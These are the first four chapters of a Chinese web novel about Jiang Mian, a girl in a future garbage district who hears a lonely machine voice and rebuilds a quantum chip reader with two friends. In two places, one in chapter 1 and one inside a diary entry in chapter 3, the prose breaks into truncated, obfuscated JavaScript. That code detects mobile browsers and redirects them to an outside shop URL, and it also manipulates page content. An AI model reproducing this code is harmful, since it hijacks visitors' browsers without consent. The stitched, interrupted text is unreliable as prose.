《我和机甲交往中》 1. 001 江免自幼时,时常能听见一种奇怪的声音。那声音就像直接回荡在她耳中一般,有时说的是: 「你好。」 「有人吗?」 有时说的是: 「我好无聊。」 「谁来陪我玩?」 第一次听见那声音的时候,是在江免7岁。 彼时她正拿着一把原始的螺丝刀,正在拆解一个机械方盒子。 听见突兀的声响,她惊奇地抬起头,问她旁侧的小伙伴:“你们听见什么声音了吗?” 小伙伴们皆是摇头。 “这里没有人说话。是你听错了吧?” 江免将信将疑,又回到了手头的拆解工作中。 空旷的垃圾堆上再次变得安静。江免刚拧完一颗螺丝,又听见有人说: 「我好无聊。没有人陪我说话,也没有人和我玩。」 周围却无一人听见这道声音。 小伙伴们疑惑道:“你是不是听错了?” 江免不以为然,详细说道:“它说它很‘无聊’。你们真的什么都没听见吗?你们再听听?” 小伙伴们也屏息凝神,一起等了许久,那声音却再不出现了。 江免一脸的疑惑。她的朋友们笑道:“你真的听见了声音吗?” “我真的……” 与她同龄,看过许多书的小姑娘笑着调侃道: “莫非这就是所谓的‘内心投影’?真正感到无聊的其实是你,你以幻听的形式意识到了自己的内心?” 江免恼红了脸,想要辩解却又无从证明。她干脆不说话了,埋头集中到自己的工作中,再不理小伙伴们了。 …… 第二次听见那道声音,是在十来天之后,江免几乎都快要忘了那次的幻听。 却听她脑中突然响起一道声音问: 「今年是几几年了?」 江免愣了愣,下意识答: “今年是6095年。” 此时依然是在工地,旁边是她的另一位朋友。 男孩子诧异地看向她,还以为江免在和自己说话,很是不解道:“你突然说这个做什么?” 江免也很诧异:“因为有人问我……” 可烈阳照耀的工地之下,除了这两人距离近,剩下的人们至少距离他们有百米远。而那道声音近得像是响起在耳边。 脑中的声音说道: 「应该是214年了吧。」 江免才意识到,她又“幻听”了。 她不太确定对方究竟是记错了年号,还是根本就不会算数。但不曾来得及深究,它下一秒又转移了话题: 「无聊哦。」 「无聊。」 「哇,有鱼游过去了。它又游回来了。」 这都6095年了,哪儿来的鱼? 整个星球都不存在野生动物,自然里也不存在多少水资源。屈指可数的几片水塘里,或许有微生物,但并不存在“鱼”,这是所有人都知晓的常识。 江免愈发觉得,要么是这道声音奇怪,要么是自己的脑子奇怪。江免倾向于前者,因为过了一会儿,她又听见它嘀咕: 「我上次数到哪里了?今年是几几年来着?应该是201年了吧。」 再过了不到一个小时,它又说: 「今年应该是202年了吧?」 它接着数年历的声音倒是隔了一天,但它又把数字倒了回去。江免听它嘀咕: 「上次数到哪儿来着?哦,那今年是201年了吧。」 也难怪它数来数去,仍然停留在201年。 可是,它又为什么要从201年开始数呢?这都已经有近3千年过去了啊。 江免小声和小伙伴说:“我听见它在数年号。” 小伙伴惊讶道:“你听见的那道声音,竟然还有时间观念吗?” 江免摇头道:“它是从201年开始数的。” 小伙伴用一种很遗憾,很是欲言又止的表情看着江免。沉默良久,最终沉重地拍了拍江免的肩: “你是不是压力太大?要不这几天你先休息休息,别工作了?” 江免还是工作到夜里,晕晕乎乎地回去了。结果那之后,她再也没听见任何声音。 却是在当天梦中。 江免每天都睡得很沉,因为她只有5小时的睡眠时间。 童工本来是犯法的。但这里是D区,法律触及不到这里。 江免从4岁时,便已经习惯了不分昼夜的劳动。睡眠的时间极其宝贵,她总是睡得很沉。 然而这次,竟然有声音能够叫醒她。 她先是在做梦,梦见自己在深海中游曳,伸手不见五指,入目所及一片黑暗。 真是奇怪。 这个世界上,应该已经不存在“海洋”了啊? 更何况还是这样深邃的海洋。 江免从未见过海洋的文字描述,亦未见过图片、影像。就连“海洋”相关的常识,她也只是通过转述得知。 如今,她却在梦里,听见自己发出了沉溺在海水中的声音。 「咕噜咕噜咕噜咕噜……」 江免这才有了窒息之感,慌忙舞动四肢,试图上浮。可不论她怎样划水也无法移动哪怕半分,她也就更加惊慌地在海中翻滚起来。 「咕噜咕噜咕噜……」 便是在几乎快要溺亡前的一瞬间,再向下方望去,她看见了一抹灼眼的金红色,宛如黎明前即将升起的太阳。 正待细看,却是“碰”的一声,正在滚动的江免从简陋搭建的塑料床架上摔了下去。 她从地上爬起来,整个人都是懵的。与此同时,她听见了更清晰地响起在她脑中的声音: 「咕噜咕噜咕噜咕噜……」 像是人在水里吐泡泡。 江免还没摸清是什么状况,就听那声音恍然大悟般说道: 「原来我没有肺,也没有鳃,我不需要呼吸,根本不会被溺死啊!」 江免怀疑自己大概是睡傻了,所以才听见听见了这样的信息。 这世上有不需要肺、不需要鳃、不用呼吸,还能够说话、有自主意识的生物吗? 就连江免都开始怀疑: 它真的不是我想象出来的幻觉? 我是不是精神出现了异常? 可我觉得我状态良好啊? 第二天,江免忧心忡忡地和小伙伴们商量了这件事。那位饱读诗书的朋友名为赤琴,她说道: “自我感觉是没法参考的,毕竟所有的精神病患者都觉得自己的精神状态良好。” 一边说着,赤琴的表情逐渐严肃了起来,凑到两人面前,直视江免,说: “精神分裂的其一征兆,便是听见幻听。” “也不一定是精神分裂,也有可能是人格解离。” 对方更加严肃地说。 江免听着那两个专业词汇稀里糊涂地从耳边滑过去了,略张了嘴,表情还呆着呢,赤琴已经又解释道: “简单来说,就是你疯了。” 另一位小伙伴温三铭“哦”了一声,一幅恍然的认同表情。 “我……我疯了吗?” 江免呆滞中又带上几分震惊。 两位小伙伴的脸上既是同情,又是了然:“毕竟,待在这种地方,什么人能保持健康的精神状态呢?再过几天,我感觉我也要疯了。” 温三铭笑道:“感觉说不定过两天我也会听见奇异的幻听了呢?” 江免更为无措了。 “还有一种可能。”赤琴又突然说。 “什么可能?”江免紧张道。 “说不定你是‘特殊的’。” “什么是‘特殊的’?” “我不知道啊。” 小姑娘苦了张脸,无奈说道:“这里能够供于阅读的书本数量有限,而且全都是被淘汰下来的纸质书籍。纸质书本来就不易保存,我看的那本书只留下一个开头楔子,后面的全都没有了嘛。” 江免也很无奈,放弃了追问。不过,见到朋友们的态度后,她却也安下了心,只要她的朋友不会嫌弃她就够了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489938|202182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在那之后,江免也会告诉她的两位小伙伴,那道在脑中出现的奇异声音又说出了怎样奇怪的话。 从第一次听见之后,那道声音便像驻扎在了她脑海中。有时是夜晚,有时是白天。它似乎不需要睡眠,响起的时机也颇为随意。 江免也完全确认了,这道声音只有她才能够听到。 她尝试过在脑中回应,或出声回应。但那道声音从未注意到她,只会继续自语: 「我真无聊。」 「有人来陪我玩吗?」 「想飞起来。」 「想聊天。」 「不是人也行。谁来和我说说话?」 …… 尽管对方似乎听不见她的回应,但在最初的那段时间里,每每她的脑内响起声音,对方说: 「有人吗?」 江免会回答: 「我在。」 「是啊。根本不会有人类生存在这里,也没有人能够听见我的声音。」 那道声音又会说。 江免无法从声音中判断性别,它听上去就像一道普通的机械音。 只是因为先入为主的情绪,她总觉得能够从没有起伏的机械音中听出了低落。 那一天,工作结束后,江免踩着夜中的黑影,对旁边的小伙伴们说道: “我想去找找那本书的残页。” “什么残页?” 另外两名孩子都没跟上江免突然的话题。 距离上次,他们提到“能够听见声音”、“特殊的人”的话题,已经过去了好几天的时间。江免仍然清晰地记得这个话题,但对于另外两人来说却全然搞不明白状况。 江免这才又提起:“我脑子里的声音……” “它说了什么奇怪的话吗?” 孩子们惊讶。 江免摇头道:“不管是我的第二人格,还是其它可能,我想知道它究竟是什么。它好像没有人可以交流,我的声音也无法传达给它。它好像……很寂寞。” 江免想,如果可以的话,她也想与它交流。 小伙伴们没有嘲笑江免的异想天开,更不曾把她的想法当做梦中呓语。相反,当江免提出“想要为了它寻找资料”的时候,那两人都是亮了眼睛,兴致勃勃的模样。 只是赤琴没忍住调侃道: “声音是主人格内心的透射。” 她故作怀疑地看向江免:“你莫非正感到寂寞?” “我?我没有啊。” 江免逐渐涨红了脸,仿佛遭到了莫大的污蔑,却不知如何解释。她磕磕巴巴地说道:“我、我有你们了呀……怎么会寂寞?” 赤琴严肃地审视江免。 这下江免的脸一直红到了耳根子,她更不知道如何辩解,只能大声强调:“我没有!” 温三铭在旁边笑:“你知道她嘴笨,还这样故意欺负她。” 江免大惊,看看温三铭,再看向赤琴,脸上写着: 她是故意的? 赤琴一下子笑出声来,对温三铭说: “我也觉得,以她的性格,脑子里不是工作就是机甲,怎么会那么拟人地感到寂寞?” 江免:“什么叫拟人?” 温三铭答:“我也觉得。她看起来也不像是精神疾病,说不定是有其它原因导致幻听?” 江免:“什么叫‘拟人’?” 赤琴:“你说得对。无缘无故的,应该也不会幻听到‘海’或者‘鱼’吧。毕竟现在这个世上已经不存在任何一片海了。” “我们得想办法查一下,看看世界上是否有未被记录的海洋或者湖泊,其中还有存活着的游鱼?” 温三铭沉吟道:“虽然在D区寻找资料简直难如登天……我会在收捡垃圾的时候多注意一下有没有书本残页的。” 江免涨红了脸,大声道:“我就是人!你们不应该用‘拟人’来形容我!” 两人走在前面,相视笑了起来: “那么接下来这段时间,我们就以搞清江免脑中的这道怪声为目的,来寻找情报吧。” 2. 002 江免想要寻找有关“海洋”、“鱼类”的资料,或许能够获得与“那道声音”有关的线索。 如果是古时的书本的话,应该会记录下已经消逝的“海洋”相关的信息吧? 然而在这个时代,纸质书籍要么成了文物,要么成了无人在意的废弃垃圾。他们偶尔也能从垃圾堆中翻到书本杂志,但因为纸张极其容易损毁,上面记录的内容总是残缺不全。 江免并不指望自己能从垃圾堆中恰好淘到她所需要的书籍记录。 怀抱着一丝渺茫的期望,她要在垃圾堆中寻找的是芯片与硬盘。 D区的垃圾堆积成山,每天都有新的生活垃圾从A、B、C区投放过来。 江免今天提前结束了工作,反正工资也不足够她买上一份过期营养液,江免决定赌运气在今天的垃圾山寻宝中。 说不定能够找到不少的资料,还刚好能够翻到足够她填饱肚子的食粮呢。 江免找了一下午,运气甚好。 虽然肚子饿得咕咕叫,但不能吃的收获却是丰沛。在整个D区,芯片与硬盘被视为作最无用的产品,它不能卖钱,也无法填饱肚子。 江免将芯片收拣起来。 芯片与硬盘都需要专门的量子读取器。不用想,江免不可能买得起它,D区也不存在这种高端商品的贩卖渠道。 损坏的读取器倒是能够捡到,只是不知道她是否有能力将其修好? 又或者通过捡到的其它零件,拼凑出一个低配版的读取器? 既然想到如此,江免暂且将白天捡到的芯片转移到她的家,或者该称为她的地盘中。毕竟这里没有能够遮风避雨的屋檐与墙壁,只有几块岩石环绕着一片半米高的破烂塑料板。 江免将她今天的收获藏到了塑料板下。 再次来到垃圾堆中时,江免的目标发生了改变,她开始有意寻找机械废弃物了。 从微小的螺丝,到生锈的铁块。 她见过了有些惊悚的机器人的脑袋,也有老式的机械残肢。 D区的上空,偶尔会有巨型的机甲掠过。 江免每次听见破空的声响,总会情不自禁地抬头仰视,看着那暗沉沉的天空中有鲜艳的机械留下一道耀目的云雾痕迹。如同传说中的飞鸟,似乎象征着某种自由。 江免很想要乘上那般耀眼的机甲,她的梦想是成为一名机甲驾驶员。 然而那是不可能的。 只有生活在A区的贵族才有资格登上机甲。如同他们这般出生在D区,以收拣垃圾为业的贱民,见到机甲的唯一渠道便是隔空仰望。 江免有一个妄想: 如果她此生无缘于市面上贩卖的机甲的话…… 那她有没有可能,用她的这双手,亲自制作出一台机甲来? 一台能够飞上天空、离开D区,且仅属于她的机甲。 但她心怀的妄想有些过于脱离实际了。是以江免连她最信任的两位小伙伴都未曾诉说,尽管那两人或许不仅不会否认这个梦想的可行性,还会如以往一般鼎力支持。 「你好。」 那道声音今天也响起了。 「你好。」 江免在心中答。 「不知道今天到几几年了?」 那道声音每天都在数着。 「今年是6095年。」 江免不厌其烦地答。 因为这道突然响起的声音的打岔,江免暂且放下了妄想,先将目光集中于实际。 她要做出一台简易的读取器来。 …… 到了夜间他们每日约定好的集合时间,却没在这里见到江免。赤琴与温三铭两人手中都拿着食物,远远地对视一眼,不用言说,一齐调转了方向,向江免家中走去。 江免果然在她那不能称之为“家”的家中,拿工具鼓捣着什么。 她的周围已是堆放了好几份零件,还有捡到的机器人残肢也被她带了回来,分解重组为了普通人看不懂的形状。 一直到两人走到江免的身后,拍了拍她的肩,她才从自己的世界中惊觉回神,看向那两人。 赤琴递给她一份压缩饼干,温三铭则是为她带来了小半管营养液,皆是递到了她的面前。 江免才是恋恋不舍地放下了手中器械,接过食物。也不仔细咀嚼,囫囵地将其吞咽下去。 “我总觉得你今天就会萌发出什么灵感,做出什么稀奇古怪的玩意儿。” 温三铭颇显无奈地问道:“还真是不出预料。所以你今天一整天都窝在家里尝试你的新发明?有什么进展吗?” “倒没有一整天。我还做了一阵工作,还翻找了一下垃圾,找到了一部分可能有用的芯片。” “但我缺了读取器。” 江免已经吃完了今天一整天份的粮食。反正制作已经被打断了,江免将她花了大半天时间做出来的样品展示给另外两人。 两人早已熟悉了江免时不时展现出的对机器的改造能力。最初是用三根铁丝与一个趁手的铁器,江免做出了能够拆解大部分机械的“万能起子”。 有了这“万能起子”之后,江免拆的东西变多,制作的东西也变多了。小到发条老鼠,大到铁制密码盒。她的双手似乎有着能把垃圾堆中的废物重新拆解成宝物的能力。 两位小伙伴也不止一次地从江免这儿得到过奇奇怪怪的礼物。温三铭获得的那些礼物至今都珍贵的保存在他的家中呢。 而这次江免将她做出的东西递给两人,两人完全没有怀疑江免的能力,第一反应是: “你就已经做好读取器了?” “不。”江免摇头道,“量子读取器与以往的物件不同。” 她显示展示出了她捡到的那些芯片上复杂的纹路:“我要做的是能够读取它的机械。” “那么庞大的资料,就聚集在这样一份小小的芯片上。而我要做的,是通过机械再将如此巨大的信息量进行还原解读。” “在这个D区,我拆解过坏掉的流水线设备,我明白了它们是如何进行的;我拆解过服务机器人的核心,我明白了它的行动原理。但我唯独没在这里见过量子读取器,也无从想象……” 江免显出几分不甘的挫败: “我刚刚也尝试了拆解芯片或硬盘,我感觉我就像在拆一份人类浓缩的智慧结晶。就结论而言的话,对于如何制作读取器,我完全没有头绪。” 温三铭跟着遗憾地“哎”了一声。 三人自出生便在D区这样一个充斥着垃圾的贫困区。生活了这么多年,三人一次都没见到过任何现代机械用品。哪怕是坏了的最低级的量子读取器也没见过。 如此珍贵的东西大概在刚进入D区的时候就已经被人淘走了,不是他们能在垃圾堆中翻找到的。 同样是深切地理解了这一件事,赤琴脸上显出一分犹豫来。 温三铭端详完了江免的新作品,把它换了回去,没有注意到赤琴犹豫的表情。温三铭继续与江免探讨道: “也就是说我们应该先去找一份量子读取器?那太看运气了,短时间内或许没有办法找到。” 江免赞同的点头。 “或许读取芯片的计划要暂且搁置了。那我们这段时间先把看见的芯片储存起来?” 江免还有些不甘地说道: “我再试试。说不定哪一天我就能够误打误撞地做出来了呢?……” 「哈哈,有鱼游过去了。不知道它是什么鱼?」 江免脑内的声音又响起来了,带着一种天真的无虑。 江免干脆转移了注意力: “先不说这些了。我看你们好像还带了不少东西过来,那些是什么?” “最原始的,记录了信息的书本与杂志。” 温三铭将书册放到了江免面前。 ……搞得就像江免识字似的。 温三铭也知道这一点,与江免一同看向赤琴。赤琴今天本来就是和他们一起研究书册的,文雅地坐下后,先翻开了一本干净的书。 她皱了皱眉,将其扔到一边去。 温三铭与江免在赤琴身后,凑着去看刚刚那本满是文字的书。 赤琴翻书很快,她已经拿起了第三本。 “那上面写的是什么?” “《作为刹帝利的我成功的100种理由》、《如何通过加密货币实现财务自由》、《人类在数字浴室中应该如何呼吸》……。” 赤琴一起念完了接下来几本的标题,将它们全扔在了一边:“然后就是育儿画册,还有大量工业生产的厕纸小说。” 江免有些好奇地拿起赤琴最初看也不看就扔掉的第一本书,对着标题认了半天: “独?:偏?大佬的??求?” 江免指着认不出的那几个字分享给旁边温三铭:“这几个字怎么念 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“以后等我有钱了,我专门雇人来给你写温软娇妻在与总裁的婚礼上驾驶灭世机甲大杀四方好不好?” “好哦!”江免高兴道,“赤琴,你对我真好!” 赤琴笑个不停,就连温三铭也不得不以古怪的神情向江免看去了:“赤琴是在笑你……” 江免没来得及深究,赤琴回到整体上,已是将所有的书本扔到了一边: “我看完了。今天捡到的书也完全没有能够用得上的信息呢。” 赤琴把那些书册都扔到了一边去,然后翻开了她面前最后一本残破的杂志。很遗憾的,上面的文字乃至于图案都被污渍晕染,根本辨识不出任何内容。 赤琴也扔掉了它。 “想来也是。真正有价值的书本,摆放在尊区图书馆里供奉都来不及呢,又怎么会被舍弃到D区的垃圾堆?” 她叹息道。 江免点头:“果然还是得把希望寄托在芯片和读取器上。” 赤琴再看了江免一眼,内心似乎已有了计较。 赤琴先是缓声说出了自己在白天打听到的情报: “关于‘海’……” 另外两人的耳朵竖了起来,齐齐看向赤琴。 “今天我打听到的消息,与我们知晓的常识差不了多少。这个星球由100%的陆地构成,现世已经不存在海洋了,更遑论海洋生物。” “海洋生物已经尽数灭绝,现存的陆地生物也处于濒危。活着的要么是人工养殖的宠物或肉畜,要么是生命极其顽强的昆虫或小型变异动物。” “综上所述……” 赤琴看向江免,表情认真: “关于你听见的那道声音,如果它不是精神疾病导致的幻听,那我想它大概是更有可能来自于另一个世界,或者另一种时空?” 江免似懂非懂地“啊”了一声。 赤琴问:“还是你觉得你更有可能是人格解离症患者?” 江免认真地想了想,严谨地说:“我觉得都有可能。” 赤琴没忍住笑出了声:“我仍然觉得,应该是因为‘你是特殊的’。” 随即,她如实说道: “我认识的一个人持有量子读取器,我或许可以帮你借到,不过我不能保证那个量子读取器是否能够使用。而且……” 赤琴的表情变得严肃,甚至有些战栗起来: “你知道的,在D区还能够持有读取器的,都是不好惹的大势力。我虽然能够为你借到读取器,但你能够保证将其原样归还吗?” “我能够保证!” 江免的声音高昂起来,表情仍然是严肃的: “绝对原样归还!” 赤琴和温三铭一看她这样儿,脸上不约而同地浮现出两个字: 完啦! 那玩意儿一到手,她绝对二话不说就是拆! 就因为他们都知道江免性格,所以赤琴才会犹豫要不要将这件事告诉她。 但转念一想,拆就拆了。只要能将其复原,谁能看得出来它曾经散架过? 赤琴便释然了。 她再对江免露出了习惯性的笑: “那么在这周内,我想办法帮你把量子读取器借来,你就准备好工具吧。” 3. 003 与完全不擅长与人交流,醉心于机械制作的江免不同,赤琴是格外伶俐、讨人喜欢的类型。 她是长大于D区的弃婴,赤琴是她自己取的名字。因为取名字的时候,她刚好从垃圾堆见到一把竖琴,而她又喜欢红色,所以她叫“赤琴”。 赤琴有着姣好的外貌,温软的声音,而她懂得利用自己的优点。她逢人便笑,说话又甜。轻轻松松交流几句,便有能让人对她打开心扉的能力。 便是这般长袖善舞,赤琴竟在D区积累起了一定的人脉,也获得了相当的资源。 在别人还穿着麻袋食不果腹的环境下,赤琴能够避免捡垃圾与其它苦力劳动,不说打扮得光鲜亮丽,但至少也是干干净净的。 每每江免与温三铭饿肚子的时候,便是赤琴带来食物,为他们解了燃眉之急。 所以两人也丝毫不怀疑,以赤琴的人脉,她能够弄来“量子读取器”这样高端的东西。 也真如她所说,仅在第三天的时候,赤琴便带来了这个高科技。 三人聚集在一起的时候同样是夜间。赤琴走向他们的时候,态度神秘兮兮的,表情格外严肃。 “这就是你需要的量子读取器。” 赤琴先将一个小东西塞进了江免的手里。赤琴没有任何武力,这样一个东西放在她身上实在是太可怕了。 江免总觉得得来太过轻易,有些不可思议地拿起那个小东西看。 也就是拇指粗细,比芯片大不了多少。侧面有一个开口,只要将芯片放进去就行了吗? 赤琴的话还没有说完: “这个东西,是我从干粮店老板那儿借来的。” D区几乎人人都饿着肚子。这里没有人权,可想而知也就不存法律,暴徒数不清有多少。 在这样的环境下,干粮店却还能稳稳地经营十几年,店老板的实力可想而知。 江免与温三铭都知道那家干粮店。不他们从小听着干粮店的可怖传说长大,却是亲眼看见赤琴与那家店的老板谈笑风生,俨然已成为忘年交的模样。 难怪干粮店老板能持有量子读取器。 难怪赤琴能够从老板那儿借来读取器。 但赤琴表情严肃,继续道: “老板也没有瞒着我,他说这个读取器已经坏得难以使用了。只是因为价格昂贵,迟迟不舍得丢弃,所以一直放在家中。如果你指望使用它来读取信息,那是不现实的。” 赤琴抿紧了嘴唇:“怎么办,江免?我是不是应该再找找其它方法,帮你借来可用的读取器?” “不,有它就好。” 江免肯定答道:“我只需要知道它的结构就够了。” 江免珍重地将读取器收拢在怀中,对赤琴露出一个笑容: “谢谢你,赤琴。” 擅长笑的赤琴反而不会笑了,略带局促地移开了视线。 赤琴能够在三天内帮她把读取器借来。 “也给我三天的时间。” 江免说道: “赤琴,你可以告诉干粮店的老板:三天之后,我能够将这个读取器彻底修好,再还给他。” ——在听见那道神奇的脑内之声后。 再制作机械时,江免发现,她似乎能够听见机械的“心跳声”了。 温三铭虽然不懂机械制作,但并不怀疑江免的能力,问道:“有什么我能够帮忙的地方吗?” 赤琴恢复了如常的表情,笑着调侃: “那我可就真这么和老板去说了哦?如果你完不成,或者完全地将它损坏的话,那我可就要遭遇不妙的下场喽。” 江免本身就不会开玩笑,她也不太理解玩笑。听闻赤琴的调侃,江免只是点头: “你尽管和老板去说。即便真的出现什么意外,我会承担责任。” 温三铭无奈看向赤琴,脸上写着:你早该知道她听不懂玩笑了。 赤琴却忍不住笑出了声。 —— 江免仍是白天干着苦力活,晚上则是完全放弃了翻找垃圾、与小伙伴见面的时间。 接连两天,江免都没出现。 两位小伙伴都知道,如果没在约定好的时间地点见到江免,江免绝对就在她的家中研究机械。 不过他们也没有打扰江免,两人在一起交换情报,互换资源。 到第三天夜里,江免还没有出现。两人才觉得有些担心了,去往江免家,透过她没有墙壁的房屋确认了她还在那块空地上,这才松了口气。 然而没走近的时候,隐约听见她在嘟囔着什么。走近了,听见她在和看不见的空气对话: “今年是6095年。” “我在制作‘量子读取器’。” “是的。” 前言不搭后语的,看上去颇为魔怔。 温三铭很是担忧地拍了拍江免的肩,江免这才回过神来。温三铭问: “你现在已经进化到能够和那道幻听对话了?” “……没有。” 江免愣愣的,看上去还没有完全回过神来:“我在和手里的读取器对话。” 两人一看,发现江免手握两个储存器。一个是她从干粮店借到的,另一个稍微大些,部件陈旧且拼凑,从外观上来说与原版毫无相似之处,唯独那个放置芯片的接口一模一样。 温三铭更惊讶的是: “你现在甚至能幻听到读取器说话了?” “不是。” 江免组织了半天的语言:“就是一种感觉,我好像能够和它沟通,但它其实不会说话。我就是觉得它能明白我的意思……哎,我说不清楚。就是、感觉……” 温三铭还是很震惊的表情,第一反应是伸手,摸了摸她的额头,比对了一下自己的。 “如果生病了我们可没有药啊……” 他苦着一张脸对赤琴说。 赤琴的表情也很严肃:“我一定会想尽办法弄到药来的。” “全看你了,赤琴。” 温三铭的表情更苦了:“她是我们中最健康的。但精神疾病该怎么治啊……” 江免不知道该说什么,默默拿开温三铭放在她额头上的手,然后将两份读取器分别交给两人。 赤琴拿到的是干粮店老板的那一份。她惊讶道:“已经修好了?” “我已经测试过了,两个读取器都能够使用。” 江免又拿出了她之前找到的那一堆芯片: “我最开始以为是读取器的问题,没想到是捡到的芯片根本不能使用,判断问题根源反而花费了更长时间。现在我终于从芯片中确定了一个能够读取的内容,但似乎不是有效信息。” 她将其一的芯片递给了赤琴,赤琴将其放入读取器。 这实际上是他们第一次见到真正的“高科技”。 芯片刚放进凹槽,读取器立刻在他们面前投射出一片莹白的光幕,温三铭直接“哇”了出来。 更加令人惊奇的是,这片光幕竟然可以通过碰触点选内容,赤琴念出了上面的选项: “有三个分类,一个是日记,一个是作业,一个是照片。” 江免之前也胡乱点选过几次,日记写得很弱智,作业根本看不懂,照片里面全是花里胡哨的人物。 “看看日记?”温三铭很是好奇。 赤琴便念道: “6092年A月Ω日:” 今天我和班上的小V交往了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489940|202182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小V真是可爱,她是我们班最可爱的男女双性别流动性别无性别跨性别孩子!我们班有好多人都喜欢小V,但只有我成功上位了! 等将来长大后我要和小V建立在法律、伦理或社会风俗认可下的为了共同生活繁衍后代共组的长期的经济与情感社会联盟简称结婚! 江免就是被这一连串的长难句难倒了。所以日记部分江免看也没再多看一眼,狼狈地退出了。 赤琴似乎也觉得这日记没什么意思,翻了几页,随便继续念道: “6092年G月α日:” 今天我和小F交往了。 “不是小V吗?” 温三铭诧异地打断了。 赤琴看了一眼后文:“应该是不同的人。这本日记的主角变心很快,与小V的交往好像只持续了3天。” 江免与温三铭一同发出了嫌弃的嘘声。 赤琴翻过了这一页,证实了日记主人的花心属性: “6092年D月Ρ日,我和隔壁班的小W交往了。” “6092年D月Τ日,我和校草大N交往了。大N是我见一个爱一个里最爱的那个,我要和大N共度余生!” “6093年J月Δ日,我和隔壁校的KK交往了。KK大概就是我真正的命中注定之人吧。” 江免与温三铭更是嫌弃道:“算了算了,这日记也没什么好看的,我们再看看其它的吧。” 却是在这里,赤琴的话音微顿,表情变得专注起来: “6094年A月Ω日:” 我果然也不能和KK在一起。虽然是刹帝利家族的旁支,但再怎么说,我也是有着刹帝利血统的人,终究与那些吠舍家的人不一样。 我们正式的精神力检测应在14岁那年举行,但大家都有各自的资源,提前检测早已心照不宣。 我是A级精神力者,拥有火焰系异能。难怪我幼时就能让丑女同桌的头发无火自燃呢!原来异能的眷顾在孩童时期便早已显现! 再至于那些仅仅是长得漂亮的低级吠舍,我本来以为能够与他们进行一场跨越阶级的史诗级爱恋。 但是很可惜,哪怕我有意忽略他们低劣的阶层,可这精神力却是无法跨越的划分人类的鸿沟。 拜拜了,我的梦中情人们。我是A级的天之骄子,从一开始就注定了不是你们这些贱民能够高攀的人。 这本记录了我的善心的恋爱日记,也就到此为止吧。 赤琴念完了这本日记的最后一页。 再去看了其中的相册,有些是偷拍,有些是光明正大的拍摄。 里面都是人物的单人照,每个人服装、长相各不相同,有男有女有看不出性别的,但都极为漂亮。 日记的主人不知是混在其间,还是全程没有出镜。江免更倾向于后者。 照片虽是和江免先前看见的一样,不过现在再结合日记的内容,它似乎又多出了几分别样的意味。 赤琴再打开了作业,它却是个空文件栏。 至此,芯片里再无其它情报了。 赤琴看向身后的江免与温三铭,那两人一直皱着眉。 “精神力是人类无法跨越的鸿沟?异能又是指什么?……” 温三铭皱着眉头喃喃。 江免亦是厌恶神色: “这个日记主人的人品与道德低劣至极,他是不折不扣的人渣。” “精神力、异能,这是我们寻到的关键词。” 赤琴说道:“在D区因为情报封锁而无人得知的消息,在能够用得起‘芯片’的上流人士中或许是人人知之的常识。” 这是三人的共识: “我们还需要去寻找更多芯片与硬盘。” 4. 004 他们在之前便有准备,想到了江免会有自制出读取器的这一天。 所以在翻找垃圾堆的时候,温三铭会留意着看上去干净可用的芯片或硬盘,如今也储存了小十来份。 温三铭未曾怀疑江免能如约修好读取器,所以在来时就拿盒子带上了这些琐碎的物件。用来装芯片的盒子还是江免曾经做出的密码储物盒呢。 他先将芯片硬盘放到了两人面前: “我这里还有一些。我们先看看里面有没有能够读取的?” 测试过后,其中有5份是能够使用的。 但5份之中,又有3份是删除了所有内容,完全格式化过后的芯片。 某种意义上而言倒也正好,他们一人一份将其征用了。量子读取器还有语音录入功能。有很多江免平时说话会用到的词语句子,书写时却不知道对应什么字。 江免与温三铭总不能时时依赖赤琴念读。为了向上,她与温三铭商量过了利用它来学习文字,他们又定下了这一段时间的额外目标。 而另外2份,一个是芯片,一个是硬盘,读取起来倒没什么差别。 它们的主人一个应该是孩童,文字类内容里有两份字写得歪歪扭扭的作文,内容简易得江免与温三铭刚好能够看懂。 倒没有写什么大不了的东西,一篇写的是“天空很蓝地面很广阔”之类的风景,另一篇写的是“我的妈妈总是忙于工作,我很想念她”这样的儿童作文。 另外则是一些风景照。 其实他们三人都对这些照片很感兴趣。他们出生于D区,被困在D区,没有出去的办法。 通过窥探这些照片,仿佛也能窥探见外面世界的寸土一隅,好似能将自己也置身于这些外界的美好之中了一般。 这位幼童的照片之中,有很多个机器人。有宠物型的各种动物机器人,都是毛茸茸的,看上去可爱又机敏。 也有很多的人形服务机器人。 关于这一点,温三铭也知道:为了区分人类与机器,服务型机器人必定会做得与人类截然不同,一眼就能看出它非人的本质。据说是为了避免道德伦理问题,所以外面的法律如此规定了。 在D区就没这个烦恼。 因为这里只有人。 通过照片,三人第一次近距离地见到了真正的机器人。 读取器很是神奇,能让他们看见立体的景象,他们仿佛置身于同样的环境中,还能360°的查看机器人的模样。 但毕竟只是数据,无法触碰。 江免看着照片里种种机器人照片,像是做了一个后宫佳丽三千人的美梦。当她回到现实,也就显得格外提不起干劲了: “要是能够见到真正的机器人就好了。” 温三铭看她,正想安慰。 江免叹息道:“我能把它们都拆解掉,然后重新组装成各种模样。为什么没人想过在人型机器人的身后加上一个小狗机器人的尾巴?没人觉得那样很酷吗?” 温三铭看她的目光变成了惊恐。 江免又叹了口气,取下芯片,结束了于她而言的美梦之旅。 另一个能够使用的硬盘,里面装着的是游戏。 打开硬盘,与他们前两次见到的界面不同,出现的是各种各样的鲜艳标题。 